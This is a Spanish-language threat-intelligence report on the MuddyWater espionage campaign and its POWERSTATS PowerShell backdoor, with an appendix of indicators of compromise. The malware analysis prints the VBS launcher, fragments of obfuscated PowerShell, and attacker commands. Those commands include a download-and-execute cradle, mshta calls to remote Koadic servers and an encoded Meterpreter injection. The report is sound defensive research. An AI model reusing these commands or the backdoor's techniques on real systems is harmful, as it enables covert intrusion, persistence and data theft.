MuddyWater es una amenaza que captó nuestra atención por su intensivo uso de los ataques “Living off the Land” (Vivir de la tierra) en una campaña enfocada a Oriente Medio. Durante nuestra investigación hemos reconstruido la evolución de los vectores utilizados y desentrañamos cómo opera el grupo para atacar a sus víctimas, evadir la detección y moverse lateralmente en las infraestructuras comprometidas.
Resumen de MuddyWater
MuddyWater es un grupo APT que ha estado activo durante todo 2017, atacando víctimas en Oriente Medio con vectores en-memoria basados en PowerShell, de una familia de ataques ahora identificados como “Living off the land”, ya que no requieren de la creación de nuevos binarios en las máquinas de las víctimas, de forma que mantienen un perfil de detección muy bajo y dejan una huella forense mínima.
El nombre MuddyWater fue asignado por PaloAlto en un artículo que describe cómo el backdoor del actor, denominado POWERSTATS, evolucionó a lo largo del último año. Por razones de claridad, hemos decidido mantener los mismos nombres.
La motivación de los operadores que hay tras MuddyWater parece ser el espionaje. Deducimos esta información del análisis de datos y el comportamiento de los backdoors. También hemos detectado que a pesar de la gran preponderancia de víctimas de Pakistán, los objetivos más activos estaban en Arabia Saudí, EAU e Irak. Entre las víctimas hemos identificado variedad de entidades con predominancia de Instituciones Gubernamentales, Telcos y compañías Petroleras.
Haciendo seguimiento a las operaciones, finalmente dedujimos que el país de origen parece ser Irán, sin embargo continúa siendo difícil discernir si MuddyWater es una operación financiada por el estado o por alguna organización criminal con inclinación por el espionaje.
Finalmente mostramos cómo ha evolucionado la amenaza desde que se informó públicamente de ella por primera vez, las técnicas usadas y cómo los autores se adaptaron a varios informes públicos sobre sus actividades.
Cronología
Para entender la evolución de la amenaza y tener una visión completa, hemos reconstruido la cronología de varios descubrimientos y de las averiguaciones publicadas.
18/Sep/2017 – Primer informe público
Por lo que sabemos, el primer informe público de esta amenaza en concreto tiene origen en nuestro propio equipo de inteligencia (por favor, indicadnos si ha habido alguna publicación anterior) al detectarla por primera vez la segunda quincena de Septiembre. En aquel momento, el análisis de ReaQta-Hive mostró el comportamiento completo de la amenaza y la dirección del C2 (servidor de Comando y Control), que era 144.76.109.88. En este punto, el malware usaba GitHub para ocultar y descargar su carga útil.
Poco después de que se hiciese úblicap la información, GitHub bloqueó la cuenta y los operadores de MuddyWater se trasladaron rápidamente a Pastebin como repositorio principal.
«Living off the land» RAT downloads 1st stage from cloned fb/react repo, persists in registry & task, uses breached websites as c&c pic.twitter.com/hqwLmIKHXW
— ReaQta (@ReaQta) 18 de septiembre de 2017
26/Sep/2017 – Primer análisis público
A finales de Septiembre, MalwareBytes publicaba un análisis de POWERSTATS en la que se muestra como la amenaza descarga ahora su carga útil de Pastebin. Con la excepción de la localización del repositorio, confirmamos que el comportamiento del backdoor analizado es el mismo que el que detectó ReaQta unos días antes, una importante pieza del puzzle dado que demuestra que MuddyWater es una amenaza activa que se adapta y cuyo objetivo es espiar a sus víctimas. La dirección del C2 detectada fue: 144.76.109.88.
El mismo día que se publicó el análisis, los operadores de MuddyWatter cambiaron la infraestructura asignando una nueva dirección al C2: 148.251.204.131.
3/Oct/2017 – MuddyWater empieza a llevar carga incrustada
Como parte de la evolución de POWERSTATS, por primera vez el 3 de Octubre, detectamos que la carga útil ya no se descarga de una localización remota (como GitHub o Pastebin), sino que viene integrada dentro del propio vector mientras que la dirección del C2 continúa siendo la misma: 148.251.204.131.
11/Nov/2017 – Nueva dirección C2 para backdoors activos
El 11 de Noviembre la dirección del C2 cambia de nuevo a: 78.129.139.147 (esta es la primera dirección que se hace pública).
14/Nov/2017 – Segundo análisis público
Palo Alto publica el análisis mencionado en el resumen, reconstruyendo el cronograma y tomando como fecha de la primera infección, el mes de Febrero de 2017, a la vez que indican cómo los operadores adaptaron el backdoor para reducir la tasa de detección y frustrar los análisis. Palo Alto informa que la dirección del C2 que han identificado es la misma que detectó MalwareBytes (148.251.204.131) aunque nosotros tenemos una perspectiva diferente ya que todas las instancias del backdoor ya están comunicando con el C2 descubierto el 11 de Noviembre (78.129.139.147).
Tras la publicación del análisis, detectamos una caída en la actividad de todas las instancias que aún se comunicaban con la vieja dirección del C2 de Octubre.
20/Nov/2017 – Nuevo C2 y JScript RAT (Koadic) / Meterpreter
Después de que el Centro Nacional de CiberSeguridad de Arabia Saudí publicase una advertencia (el enlace parece que no está disponible desde fuera de Oriente Medio, pero puede localizarse una copia aquí) sobre la actividad de espionaje de MuddyWater, el atacante desplegó en algunas víctimas distintos tipos de backdoors:
- Un JScript RAT conocido como Koadic, públicamente disponible en GitHub, que se comunicaba con el C2: 88.99.17.148
- Meterpreter comunicándose con el C2: 78.129.139.147
Operaciones
Los operadores de MuddyWater usan una serie de páginas web comprometidas como proxies para ocultar la auténtica dirección del servidor C2. Los terminales infectados conectan aleatoriamente con alguno de los servidores proxy que, a su vez, retransmiten la información al servidor C2. Los operadores usan el C2 para distribuir comandos y recibir datos exfiltrados.
La excepción a la norma la representa la parte de Koadic, que se salta los proxies y comunica directamente con el servidor C2.
Los operadores de MuddyWater han sido capaces de continuar infectando máquinas, lo cual se aprecia claramente en el gráfico siguiente que muestra la tendencia creciente del número de víctimas cuando el grupo se estaba moviendo, relativamente, bajo el radar, al menos en Oriente Medio.
Otra parte interesante de los datos es la que representa la actividad agregada de cada backdoor, como podemos ver a continuación.
Es interesante ver cómo impacta la publicación de análisis y advertencias en una campaña de espionaje de tan grandes proporciones y cómo de rápido MuddyWater se adapta tras cada revelación. También se pueden deducir los patrones de trabajo de los operadores, al menos hasta el 12 de Noviembre, es decir, mientras prácticamente trabajaban sin oposición.
Si nos fijamos al detalle en las víctimas, podemos descubrir en qué países se ha estado centrando el grupo atacante visto que la mayor parte de las infecciones en la UE se dan en víctimas viajeras.
A primera vista, Pakistán es el país más atacado pero nuestros datos revelan una situación distinta. Analizando la actividad de cada víctima, hemos descubierto que los operadores estaban interesados en una región diferente.
Pakistan, de hecho, era el país con más infecciones, pero los operadores no parecen interesados en esas víctimas. Por otro lado, Irak tiene un gran número de infecciones y los operadores son extremadamente activos en esas infraestructuras. Arabia Saudí y Emiratos Árabes Unidos (especialmente Dubai) tienen un bajo número de víctimas, pero todas ellas extremadamente activas. Esto nos hizo concluir que los verdaderos objetivos eran Irak, Arabia Saudí y EAU.
Objetivos
Las víctimas pertenecen a varios sectores distintos pero los operadores de MuddyWater son especialmente activos en Instituciones Gubernamentales, Telcos y compañías Petroleras (incluyendo plataformas petrolíferas). En una instancia descubrimos que un gran proveedor de servicios de telecomunicaciones de Irak estaba profundamente comprometido ya que un 10% de sus terminales estaban infectados con POWERSTATS. Los atacantes también disponían de una capacidad bastante decente de movimiento lateral y confiaban en varios exploits, LPE (Local Privilege Escalation) – totalmente operativos en la última versión de Windows 10 – y herramientas (algunas públicamente disponibles) para obtener acceso a terminales de interés dentro de las infraestructuras comprometidas.
Mientras que el 85% de los dispositivos infectados eran workstations, el 15% restante se componía de servidores, indicando que los atacantes eran capaces de escalar tras la brecha inicial y obtener acceso directo a la información en la que estuviesen interesados.
Documentos Cebo
El backdoor inicial se despliega mediante un documento cebo o señuelo que contiene una macro. Aquí tenemos algunos ejemplos del contenido enviado a las víctimas:
Los distintos contenidos detectados tienen ciertas características comunes como por ejemplo la suplantación de identidad de entidades Nacionales. Los cuatro documentos emulan a:
- Servicio Nacional de Inteligencia Iraquí
- Agencia Nacional de Seguridad (NSA)
- Ministerio del Interior de Arabia Saudí
- Agencia de Investigación Federal del Ministerio del Interior de Pakistán
Además, cada documento incluye un formulario y un botón en el pie de página.
Análisis de los Documentos
A parte del contenido señuelo, el análisis estático de los documentos iniciales nos permitió identificar algunas características comunes. Todos los documentos aprovechan el mecanismo Macro VBS para ejecutar código y desplegar las siguientes etapas de ataque.
MUESTRA 1
MUESTRA 2
Ambos documentos tienen los siguientes campos de metadatos en común:
- LastModifiedBy: GIGABYTE
- AppVersion: 15.0
- Software: Microsoft Office Word
Es reseñable que los metadatos de todos los documentos, a excepción de uno, indican que la distribución del teclado local configurado era ar_SA (Árabe. Arabia Saudí).
Las operaciones de la macro pueden resumirse en lo siguiente:
- Decodifica y despliega un script de PowerShell en C:\Users\Public\Documents\system.ps1
- Decodifica y despliega un script VBS en C:\Users\Public\Documents\system.vbs
- Ejecuta el VBS mediante el Método Shell.Open
El contenido del VBS se muestra a continuación y su objetivo es, sencillamente, ejecutar el script PowerShell system.ps1.
Set objShell = WScript.CreateObject("WScript.Shell") command = "powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -file C:\Users\Public\Documents\system.ps1" objShell.Run command,0 Set objShell = Nothing
Backdoor de PowerShell
Partiendo de system.ps1, la cadena de ataque continúa con 2 bloques de código que preparan el terreno para un tercero, que contiene el auténtico backdoor de PowerShell.
Cada bloque establece las variables necesarias para la correcta ejecución del backdoor. Dado que el contenido completo es algo largo, hemos resumido la estructura completa como sigue:
# Primer Bloque &((GEt-VARIAbLE '*MDR*').nAme[3,11,2]-JOiN'') (" $( sV 'Ofs' '')"+[stRinG](( 100000, [...] # Segundo Bloque &( $pShOme[21]+$psHOME[34]+'x') ([stRIng]::JOin( '' , ('100000 [...] # Tercer Bloque / Backdoor . ( $ShELlID[1]+$shelLiD[13]+'x') ( ( '1100110 [...]
Podemos observar 3 blques de código que parecen ofuscados mediante Invoke-Obfuscation.
Cada bloque presenta la siguiente estructura:
iex | (code)
Primer Bloque
Tras la deofuscación, el primer bloque establece las siguientes variables:
Segundo Bloque
El segundo bloque, como el primero, tras ser deofuscado, crea variables locales adicionales, variables de entorno y funciones que serán usadas por el backdoor:
Tercer Bloque / Backdoor
El tercer y último bloque es el backdoor y es responsable de:
- Contramedidas Anti-Análisis
- Persistencia
- Identificación de la Víctima
- Comunicaciones de red
- Ejecución de Comandos
La estructura completa del backdoor es realmente sencilla y se muestra como sigue:
Por razones de brevedad, sólo informaremos sobre las funciones más interesantes.
El backdoor implementa una contramedida anti-análisis que usa isDebugEnv para apagar la máquina si se detecta que alguna de las siguientes herramientas se está ejecutando:
ollydbg ProcessHacker tcpview autoruns autorunsc filemon procmon regmon procexp idaq idaq64 ImmunityDebugger Wireshark dumpcap HookExplorer ImportREC PETools LordPE dumpcap SysInspector proc_analyzer sysAnalyzer sniff_hit windbg joeboxcontrol joeboxserver
Durante el análisis, nuestras víctimas recibieron una versión actualizada de isDebugEnv que ampliaba la lista de funcionalidades con las herramientas siguientes:
win32_remote win64_remote64
La función de persistencia se encarga de reducir las medidas de seguridad de Microsoft Excel y Word, creando un mecanismo de resistencia al reinicio y ocultando el VBS y PS1 mediante la edición de los atributos Sistema y Oculto del archivo mediante la utilidad de Windows attrib.exe.
Obtiene persistencia añadiendo una entrada a (HKCU y HKLM) CurrentVersion\Run. El artefacto final tendrá un valor denominado Windows Optimizations que se convierte en to: Wscript C:\Users\Public\Documents\System.Vbs. Se establece un segundo método de persistencia añadiendo una Tarea Programada denominada Microsoft\WindowsOptimizationsService que ejecuta Wscript C:\Users\Public\Documents\System.Vbs.
La función al completo y las alteraciones del sistema se pueden ver con facilidad en la sección de eventos de ReaQta-Hive:
En el siguiente paso el script busca archivos *.dat. Si no encuentra ninguno, se queda en reposo durante una hora y luego almacena la URL del proxy en el registro y espera hasta que la función getKey() tenga éxito.
La función getKey() obtiene una clave que identifica de forma unívoca la máquina de la víctima, si no existe, invica la función del registro. El registro se lleva a cabo recolectando información sobre el Sistema Operativo en ejecución que será enviada posteriormente al atacante, cuyo servidor responderá con una clave única (MD5) almacenada en [nombre-de-usuario].dat. Profundizando aún más en la función de registro, podemos ver que captura dirección IP, Sistema Operativo, información del usuario y acaba ensamblando el siguiente string:
$($env:computername)$($env:username)$os$($ips.subString(1))$((Get-WmiObject Win32_ComputerSystem).Domain)
Tras completar la tarea de gestión del Identificador Único (Creándolo o encontrándolo), el backdoor entra en el bucle principal que llama a la función getCommand(). Esta funcción solicita comandos al C2 y envía al mismo los resultados fraccionando las respuestas en trozos.
La gestión de comandos se lleva a cabo mediante Invoke-Expression de PowerShell. Dicha aproximación es sencilla y directa y ofrece importantes capacidades de post-explotación al atacante dado que los scripts pueden ejecutarse ahora como un PowerShell remoto.
Métodos Adicionales de Persistencia
Hemos identificado otro un método de persistencia más implementado por el atacante. La técnica se basa en la utilización de una Plantilla de Word y funciona tal y como se describe en el artículo “Maintaining Access with Normal.dotm”
Conexiones y Similitudes entre muestras
Durante la investigación nos dimos cuenta de que este ataque generaba un incidente bastante parecido a otro que observamos en el pasado. Tal y como podemos ver en las siguientes capturas de pantalla, ambos árboles de procesos son prácticamente iguales:
Las diferencias principales entre ambos ataques pueden resumirse en las siguientes:
- La Macro y el script PowerShell ahora están ofuscados
- El código del Backdoor ha sido refactorizado
- Los parámetros de URL han cambiado
La refactorización del backdoor podemos verla en los siguientes ejemplos.
Función httpGet
La nueva versión añade una URL de fallback para contactar. En ambos casos los dominios se escogen aleatoriamente de una lista integrada en el propio código (hard-coded).
El código de “enviar” se ha reubicado en una nueva función dedicada:
function persistence
La persistencia se obtiene con las mismas técnicas y nombres que antes, con una excepción, el nombre de entrada de la tarea programada que cambia como se indica a continuación:
WindowsOptimizations -> Microsoft\WindowsOptimizationsService
Persistencia mediante CurrentVersion\Run
Persistencia mediante Tareas Programada
Comunicaciones MuddyWater
Las comunicaciones con el C2 se establecen a través de de páginas web comprometidas que actúan como proxies, tal y como explicamos antes. A continuación mostramos una lista parcial de proxies utilizados por el backdoor:
Como se puede apreciar en la imagen anterior, cada solicitud se ejecuta mediante una solicitud GET:
http://[SITIO-COMPROMETIDO]/[MALICIOSO].php?c=Base64(CustomEncoding([DATOS]))
Las interacciones del backdoor con el atacante pueden sintetizarse en dos etapas principales:
- UniqueKey Handling (Registro y Actualización de Clave Única de Id)
- Intercambio de Comandos
El registro (ya explicado en profundidad) usa los siguientes parámetros en la URL:
Base64(CustomEncoding(a=r&b=[REGISTRATION_DETAILS]))
El resultado final, desde un punto de vista de red, es el siguiente:
El Intercambio de Comandos se ejecuta desde la función getCommand.
Los backdoors pueden solicitar un comando al atacante usando $id, que es la UniqueKey (clave única de identificación):
Base64(CustomEncoding(a=g&b=$id))
El atacante responde como se muestra a continuación:
Base64(CustomEncoding($cmdID$cmd))
Una vez que el backdoor ejecuta el comando $cmd, responde al atacante incluyendo la respuesta:
Base64(CustomEncoding(a=s&i=$id&ch=last&ci=$cmdId&r=$result))
Dependiendo de la longitud del resultado, la respuesta al atacante puede transmitirse fraccionada en partes más pequeñas.
Este es un extracto de los comandos recibidos directamente del atacante:
781~~Remove-itemproperty -path HKCU:\Software\Classes\exefile\shell\runas\command -name IsolatedCommand -Force 791~~powershell -nop -w hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://www.[EDITADO]/sh.txt')"
Como vemos en el último comando, el atacante envía un nuevo script de PowerShell:
Cuyo objetivo es actualizar el backdoor:
- Nueva dirección del C2
- Nueva función isDebugEnv
- Nueva lista de proxies (disponible más adelante)
En otra sesión recibimos otros comandos cuyo propósito era probar otros backdoors:
- Koadic JScript RAT:
821~~mshta http://[REDACTED].38:9999/PcWuI 825~~whoami
- Koadic JScript RAT:
826~~mshta http://[REDACTED].134:9999/RBzUs
- Inyección de Meterpreter mediante to_mem_pshreflection.ps1.template
829~~powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAk[...]
- Koadic JScript RAT:
836~~mshta http://[REDACTED].148:9999/tTsjX
Atribución de MuddyWater
Como es habitual, la atribución de operaciones de ciberespionaje es un asunto muy complejo y no disponemos de elementos definitivos suficientes para extraer conclusiones, dicho lo cual, durante nuestra investigación descubrimos que los operadores podían haber cometido un error y, durante un tiempo, pudimos seguir sus movimientos. La dirección IP estaba en Teherán, Irán, y tenemos razones para creerlo dado que en esa instancia específica estábamos operando con una IP final, no con un proxy ni con una víctima usada para ocultar la dirección real. Otros elementos proporcionan evidencias circunstanciales de que es razonable asumir que el ataque puede tener origen en Irán, como por ejemplo el tipo (y más concretamente las identidades) de las víctimas más investigadas por los operadores y su distribución geográfica.
A parte del origen de los ataques MuddyWatter, aún quedan cuestiones pendientes, la primera de las cuales es si el grupo que opera el ataque está financiado por algún estado o si es parte del crimen organizado. La relativa baja sofisticación de los ataques y la gestión general de su infraestructura nos lleva a pensar que se trataría de un grupo criminal, pero la elección de las víctimas y su agilidad, una vez dentro, para comprometer infraestructuras nos hacen pensar en entidades más estructuradas (posiblemente llevado a cabo por dos grupos distintos, uno para ejecutar los ataques y el otro especializado en la fase de post-explotación). La segunda cuestión pendiente versa sobre su relación con APT33/OilRig. Hay varaias similitudes entre las técnicas adoptadas por MuddyWater y las de APT33/OilRig pero si ambas operaciones pertenecen al mismo actor es aún una incógnita.
Conclusiones
Nuestros clientes, los usuarios de RreaQta-Hive ya están protegidos y no necesitan llevar ninguna acción adicional a cabo. Recomendamos comprobar todos los IoCs publicados para descubrir si hay backdoors activos en nuestros sistemas y comprobar los signos de presencia mencionados a lo largo de este artículo.
Apéndice – IoCs
Documentos
- 40a6b4c6746e37d0c5ecb801e7656c9941f4839f94d8f4cd61eaf2b812feaabe
- 588cd0fe3ae6fbd2fa4cf8de8db8ae2069ea62c9eaa6854caedf45045780661f
- 917a6c816684f22934e2998f43633179e14dcc2e609c6931dd2fc36098c48028
- a6673c6d52dd5361afd96f8143b88810812daa97004f69661da625aaaba9363b
- de6ce9b75f4523a5b235f90fa00027be5920c97a972ad6cb2311953446c81e1d
- 2c8d18f03b6624fa38cae0141b91932ba9dc1221ec5cf7f841a2f7e31685e6a1
C2
http://148[.]251[.]204[.]131:8060 | Powerstats |
http://78[.]129[.]139[.]147:8060 | Powerstats |
http://104[.]237[.]233[.]38:9999 | Koadic |
https://78[.]129[.]139[.]134:6643 | Meterpreter |
http://78[.]129[.]139[.]134:9999 | Koadic |
http://88[.]99[.]17[.]148:9999 | Koadic |
Hashes de Powerstats y VBS launcher
4121db476b66241610985350b825b9f1680d0171ab01a52b5ffcb56481521e44 | C:\Users\Public\Documents\NTSTATS.ps1 |
a0abec361411cb11e01337939013bad1f54ad5865c73604a1b360d68ddfbd96a | C:\Users\Public\Documents\NTSTATS.vbs |
b2c10621c9c901f0f692cae0306baa840105231f35e6ec36e41b88eebd46df4c | C:\Users\Public\Documents\system.ps1 |
16bcb6cc38347a722bb7682799e9d9da40788e3ca15f29e46b475efe869d0a04 | C:\Users\Public\Documents\system.vbs |
URLs de proxies de Powerstats
- http://106[.]187[.]38[.]21/short_qr/work[.]php?c=
- http://arbiogaz[.]com/upload/work[.]php?c=
- http://arch-tech[.]net/components/com_layer_slider/Senditem[.]php?c=
- http://azmwn[.]suliparwarda[.]com/wp-content/plugins/wpdatatables/panda[.]php?c=
- http://azmwn[.]suliparwarda[.]com/wp-content/themes/twentyfifteen/logs[.]php?c=
- http://bangortalk[.]org[.]uk/speakers[.]php?c=
- http://best2[.]thebestconference[.]org/ccb/browse_cat[.]php?c=
- http://bikekaidee[.]com/admin/404[.]php?c=
- http://camco[.]com[.]pk/Controls/data[.]aspx?c=
- http://cgss[.]com[.]pk/data[.]aspx?c=
- http://feribschat[.]eu/logs[.]php?c=
- http://fifacare55[.]com/404[.]php?c=
- http://ghanaconsulate[.]com[.]pk/data[.]aspx?c=
- http://heartmade[.]ae/plugins/content/contact/Senditem[.]php?c=
- http://itcdubai[.]net/action/contact_gtc[.]php?c=
- http://kale[.]alfa-bilisim[.]com/Content/data[.]aspx?c=
- http://kale[.]alfa-bilisim[.]com/banka/3d/data[.]aspx?c=
- http://larsson-elevator[.]com/plugins/xmap/com_k2/com[.]php?c=
- http://magical-energy[.]com/css[.]aspx?c=
- http://magical-energy[.]com/css/css[.]aspx?c=
- http://mainandstrand[.]com/work[.]php?c=
- http://ohofifa[.]com/wp-content/themes/Newspaper/mobile/includes/404[.]php?c=
- http://ohofifa[.]com/wp-content/themes/Newspaper/mobile/work[.]php?c=
- http://projac[.]co[.]uk/Senditem[.]php?c=
- http://romix-group[.]com/modules/mod_wrapper/Senditem[.]php?c=
- http://school[.]suliparwarda[.]com/components/com_akeeba/work[.]php?c=
- http://school[.]suliparwarda[.]com/plugins/editors/codemirror/work[.]php?c=
- http://suliparwarda[.]com/wp-content/plugins/entry-views/work[.]php?c=
- http://suliparwarda[.]com/wp-content/themes/twentyfifteen/work[.]php?c=
- http://taxconsultantsdubai[.]ae/wp-content/themes/config[.]php?c=
- http://teeyaipakin[.]com/wp-content/plugins/all-in-one-seo-pack/404[.]php?c=
- http://tmclub[.]eu/clubdata[.]php?c=
- http://watyanagr[.]nfe[.]go[.]th/e-office/lib/work[.]php?c=
- http://watyanagr[.]nfe[.]go[.]th/watyanagr/power[.]php?c=
- http://whiver[.]in/power[.]php?c=
- http://www[.]4seasonrentacar[.]com/viewsure/data[.]aspx?c=
- http://www[.]akhtaredanesh[.]com/d/file/sym/work[.]php?c=
- http://www[.]akhtaredanesh[.]com/d/oschool/power[.]php?c=
- http://www[.]amarsarkar[.]com/webadmin/404[.]php?c=
- http://www[.]amarsarkar[.]com/webadmin/inc/404[.]php?c=
- http://www[.]arcadecreative[.]com/work[.]php?c=
- http://www[.]armaholic[.]com/list[.]php?c=
- http://www[.]asan-max[.]com/files/articles/css[.]aspx?c=
- http://www[.]asan-max[.]com/files/articles/large/css[.]aspx?c=
- http://www[.]autotrans[.]hr/index[.]php?c=
- http://www[.]dafc[.]co[.]uk/news[.]php?c=
- http://www[.]eapa[.]org/asphalt[.]php?c=
- http://www[.]elev8tor[.]com/show-work[.]php?c=
- http://www[.]jdarchs[.]com/work[.]php?c=
- http://www[.]kunkrooann[.]com/inc/work[.]php?c=
- http://www[.]mackellarscreenworks[.]com/work[.]php?c=
- http://www[.]mitegen[.]com/mic_catalog[.]php?c=
- http://www[.]nigelwhitfield[.]com/v2/work[.]php?c=
- http://www[.]pomegranates[.]org/index[.]php?c=
- http://www[.]ridefox[.]com/content[.]php?c=
- http://www[.]shapingtomorrowsworld[.]org/category[.]php?c=
- http://www[.]vanessajackson[.]co[.]uk/work[.]php?c=
- http://www[.]wmg-global[.]com/wp-content/wp_fast_cache/wmg-global[.]com/Senditem[.]php?c=
- http://www[.]yaran[.]co//wp-content/plugins/so-masonry/logs[.]php?c=
- http://www[.]yaran[.]co/wp-includes/widgets/logs[.]php?c=
- http://www[.]ztm[.]waw[.]pl/pop[.]php?c=
- https://coa[.]inducks[.]org/publication[.]php?c=
- https://mhtevents[.]com/account[.]php?c=
- https://skepticalscience[.]com/graphics[.]php?c=
- https://wallpapercase[.]com/wp-content/themes/twentyfifteen/logs[.]php?c=
- https://wallpapercase[.]com/wp-includes/customize/logs[.]php?c=
- https://www[.]spearhead-training[.]com//html/power[.]php?c=
- https://www[.]spearhead-training[.]com/action/point2[.]php?c=
- https://www[.]spearhead-training[.]com/work[.]php?c=
Scripts para saltarse el UAC
c8fa6056145ce2662d673593faa8162734eefa04ec9a51f6d94e8df8a0c5675b | uac2.ps1 |
fe27abcbad72ede7fd668cfe2f9938d42248133b0aa068c9196a4766eaffc18e | uac.ps1 |
e5a60c8f90e846fe22b3b0ec3675038d214cacd1564d6d2b1add9b9c54bc601b | C:\Users\Public\mobilink.js |
1206ae0a9dd740e5c14ce842d9a93829cfe0db6f5bb8d8cf164f6d0abcb3541d | C:\Users\Public\mobilink.js |
Script PowerShell en Normal.dotm
9c5404db9652b3862e40ba0642b05030eef4d896e30c497be5aa4073974e1c08 | UuiBYgfG.ps1 |
Koadic JScript RAT
a71c7451934830c6796dff4a937811aaf0dd519b756ff99b3e66d91a049ca801 | tTsjX |
Recursos de persistencia
- Registro
- HKCU:SOFTWARE\Microsoft\Windows\CurrentVersion\Run
- Clave “Windows Optimizations”
- Valor “wscript [maliciuous].vbs”
- Registro
- HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run
- Clave: “Windows Optimizations”
- Valor:“wscript [maliciuous].vbs”
- Tarea Programada
- Nombre: Microsoft\WindowsOptimizationsService
- Acción: “wscript [malicioso].vbs”
- Plantilla de Word
- Ruta: c:\users\[usuario]\AppData\Roaming\Microsoft\Templates\Normal.dotm
- Hash: e22f21d486631d813c4ad77b1c106c621ec95bf002c19f4cb979312f198266f5